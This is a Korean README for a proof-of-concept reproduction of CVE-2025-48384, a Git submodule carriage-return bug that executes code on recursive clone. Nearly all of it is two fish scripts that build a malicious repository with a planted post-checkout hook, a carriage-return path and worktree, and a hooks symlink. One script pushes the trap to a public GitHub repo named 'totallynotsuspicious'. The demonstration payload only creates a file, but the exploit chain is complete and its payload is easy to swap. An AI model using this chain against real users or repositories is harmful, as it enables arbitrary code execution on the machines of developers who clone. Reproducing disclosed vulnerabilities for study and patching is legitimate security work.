
캐리지 리턴을 활용한 Git 공격 및 클로닝 RCE
재현 출처: https://dgl.cx/2025/07/git-clone-submodule-cve-2025-48384. 모든 크레딧은 David Leadbeater에게 있습니다.
이것은 취약점의 기본 재현 시도입니다.
트리거하려면 취약한 git 버전에서 git clone --recursive https://github.com/acheong08/CVE-2025-48384를 실행하면 /tmp/fishsucks 파일이 갑자기 나타나는 것을 볼 수 있습니다.
git 버전 2.50.0에서 재현할 수 있었습니다.
다음은 로컬 테스트에 사용된 스크립트입니다.
#!/usr/bin/fish
git init sub
echo '#!/usr/bin/env bash
touch /tmp/fishsucks
' > sub/post-checkout
chmod +x sub/post-checkout
git -C sub add post-checkout
git -C sub commit -m hook
git init repo
git -C repo -c protocol.file.allow=always submodule add "$PWD/sub" sub
git -C repo mv sub (printf "sub\r")
git config unset -f repo/.gitmodules submodule.sub.path
printf "\tpath = \"sub\r\"\n" >> repo/.gitmodules
git config unset -f repo/.git/modules/sub/config core.worktree
printf "[core]\n\tworktree = \"../../../sub\r\"\n" >> repo/.git/modules/sub/config
ln -s .git/modules/sub/hooks repo/sub
git -C repo add -A
git -C repo commit -m submodule
git -c protocol.file.allow=always clone --recurse-submodules repo bad-clone
not test -f "/tmp/fishsucks"
rm -rf ./repo ./sub ./bad-clone
Github에 푸시하기 위해 수정된 스크립트:
#!/usr/bin/fish
if not test -d sub
git clone https://github.com/acheong08/totallynotsuspicious.git sub
else
git -C sub pull
end
echo '#!/usr/bin/env bash
touch /tmp/fishsucks
' > sub/post-checkout
chmod +x sub/post-checkout
git -C sub add post-checkout
git -C sub commit -m hook; or true
git -C sub push origin HEAD
rm -rf repo
git init repo
git -C repo -c protocol.file.allow=always submodule add https://github.com/acheong08/totallynotsuspicious.git sub
git -C repo mv sub (printf "sub\r")
git config unset -f repo/.gitmodules submodule.sub.path
printf "\tpath = \"sub\r\"\n" >> repo/.gitmodules
git config unset -f repo/.git/modules/sub/config core.worktree
printf "[core]\n\tworktree = \"../../../sub\r\"\n" >> repo/.git/modules/sub/config
ln -s .git/modules/sub/hooks repo/sub
git -C repo add -A
git -C repo commit -m submodule
git -c protocol.file.allow=always clone --recurse-submodules repo bad-clone
not test -f "/tmp/fishsucks"